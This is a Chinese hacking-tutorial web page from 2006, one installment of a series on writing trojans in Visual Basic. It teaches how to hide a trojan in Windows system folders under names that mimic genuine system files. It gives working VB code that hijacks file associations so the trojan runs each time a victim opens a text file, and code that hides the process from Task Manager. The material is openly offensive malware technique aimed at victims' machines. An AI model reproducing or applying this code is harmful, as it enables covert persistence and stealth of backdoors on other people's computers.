首页 | 业界新闻 | 黑客教程 | 安全漏洞 | 安全文章 | 破解技术 | 技术文摘 | 黑客文化 | 本站原创 | 安全贴吧 | 在线留言 | IP查询 | 软件下载 | 繁体中文 |
您现在的位置: 黑色反击 >> 技术资讯 >> 黑客教程 >> 黑客编程 >> 正文
VB木马也疯狂
时间:2006-3-29 2:23:43 出处:网络技术论坛 作者:小金 编辑:mervin 点击数:


八、我的马儿安家在哪里?
把木马放在哪里能做到最大的隐蔽性是个难以肯定的答案,但是有一点可以直说!别自作聪明自己建立目录放木马,也别选敏感目录如Recycled、My Documents、TEMP、Local Settings、Fonts、Inf等,这些目录可以骗骗初学者,但是连中级水平的用户都能感觉到不对劲。我个人认为可以放在一些重要目录里,把文件名起得专业一点,例如WINDOWS/WINNT、SYSTEM/SYSTEM32、JAVA(最好文件名里也有个JAVA)、Config、Program Files\Common Files\SYSTEM等特殊目录,这样至少连中上水平的用户也要确认半天,当然有一半成功率还要看看你会不会起文件名,可以在Windows本身的一些重要或者不常被人注意的文件名上打主意,例如原来有个mmtask.tsk那就来个mmtask.exe、有wupdmgr.exe就发展个wupdmgr32.exe等,这些文件名起的迷惑性比一般的文件名大得多。当然你就不要起Notepad32.exe、scanregw32.exe、scandskw32.exe这种常用程序的“32bit 克隆”名字了,只要不是非典型的用户,70%都会怀疑的……

九、喧宾夺主——更改并联
Windows下的文件并联无处不在,所以这里是个很好的市场哦。目前许多常见的木马都用了这个手法,让用户在不知不觉中反复执行木马程序,导致屡杀不尽!
其实在VB里,这个功能非常容易实现:
=========================================================
'文件并联的代码
'Author:小金(LK007) www.s8s8.net lk007@163.com
'使用方法:SetFileAssociate 文件类型, 类型说明, 文件后缀
'例如:SetFileAssociate "txtfile", "文本文件", ".txt"
'/////////////////////////////////////////////////////////////
Declare Function RegCreateKey Lib "advapi32.dll" Alias "RegCreateKeyA" (ByVal hKey As Long, ByVal lpSubKey As String, phkresult As Long) As Long
Declare Function RegSetValue Lib "advapi32.dll" Alias "RegSetValueA" (ByVal hKey As Long, ByVal lpSubKey As String, ByVal dwType As Long, ByVal lpData As String, ByVal cbData As Long) As Long
Declare Function RegCloseKey Lib "advapi32.dll" (ByVal hKey As Long) As Long

Public Const HKEY_CLASSES_ROOT = &H80000000
Public Const REG_SZ = 1

Sub SetFileAssociate(sKeyName As String, sKeyValue As String, sFileAssoc As String)
On Error Resume Next
Dim ret As Long
Dim lphKey As Long
Dim sFileExec As String
sFileExec = App.Path & App.EXEName & ".exe " & """%1""" '注意是".exe "不是".exe"
ret = RegCreateKey(HKEY_CLASSES_ROOT, sKeyName, lphKey)
ret = RegSetValue(lphKey, "", REG_SZ, sKeyValue, 0&)
ret = RegCreateKey(HKEY_CLASSES_ROOT, sFileAssoc, lphKey)
ret = RegSetValue(lphKey, "", REG_SZ, sKeyName, 0&)
ret = RegCreateKey(HKEY_CLASSES_ROOT, sKeyName, lphKey)
ret = RegSetValue(lphKey, "DefaultIcon", REG_SZ, "%1", 2)
ret = RegCreateKey(HKEY_CLASSES_ROOT, sKeyName, lphKey)
ret = RegSetValue(lphKey, "shell\open\command", REG_SZ, sFileExec, Len(sFileExec))
ret = RegCloseKey(lphKey)
End Sub
=========================================================
注意,经过这样修改后,文件就必须由你的程序来负责处理了,我们需要在Form_Load或Main里加入下面给出的“文件打开方式重定向”代码,否则就弄巧成拙了,注意这段代码中的文件后缀判断语句。
=========================================================
'在Form_Load或Main加入 (以TXT并联为例)
On Error Resume Next
Dim CommandLine As String
CommandLine = Trim$(Command$)
If CommandLine <> "" Then
If InStr(CommandLine,".txt") <> 0 Then Shell("notepad.exe " & CommandLine
Else
End If
=========================================================
这个方法的破绽:细心的用户会注意到,被更改了并联的文件类型打开速度变慢了,这是因为VB代码的执行效率比较低,而且Shell又消耗了一些额外时间,没有优化的方法。我们只能祈祷马场主是个超级马大哈……

十、隐藏进程
Windows中按ALT+DEL+CTRL会出现任务管理器,一切普通进程都能在里面看到,这样也会暴露我们的后门程序,因此必须给它来个障眼法。Win9x/Me提供了一个API——RegisterServiceProcess,它的作用是把一个进程提升为“系统服务”,这样的进程在任务管理器里不可见。Win2000/XP里没有提供这个API,因为两种系统架构不同,“服务”的概念也不同,在NT架构里,使用一种称为“NT-Service”的技术来区分一般进程和服务程序,在第5期有文章介绍,这里也不细说了,NT-Service部分资料请看第十一小节。
VB代码如下,它很简单,用GetCurrentProcessId获取自身进程标识后调用RegisterServiceProcess转型为系统服务:
=========================================================
Declare Function GetCurrentProcessId Lib "kernel32" () As Long
Declare Function RegisterServiceProcess Lib "kernel32" (ByVal dwProcessID As Long, ByVal dwType As Long) As Long

Sub MakeAsService()
Dim pid As Long
pid = GetCurrentProcessId()
RegisterServiceProcess pid, 1
End Sub
=========================================================
除了注册为系统服务,还有个更简单的方法是把程序的任务标题改为系统进程的名字,如Rundll32、mmtask、Rnaapp、WinOldApp等,如果你实在够懒,可以试试看……
 

上一页  [1] [2] [3] [4] [5] [6] [7] [8] 下一页

精彩推荐
hack菜鸟入门
VB 从零开始编外挂(完
IPC入侵全接触
QQ跨站漏洞巧利用,强
WinXP中CPU占用100%原
黑客新技术 灰鸽子巧妙
实例讲解 黑客入侵论坛
ADSL共享上网方式大总
BMP文件格式分析
十招教你学会破解
热门软件
网 友 评 论
关于我们 - 联系方式 - 招聘信息 - 合作伙伴 - 网站地图 - 广告服务 - 我要投稿 - 设为首页 - 加入收藏
黑色反击 力倡网络安全,崇尚互联共享,欢迎各种媒体转载我们的原创作品 [转载请注明出处]。
EMAIL:hf110.com@gmail.com 备案:苏ICP备05010002号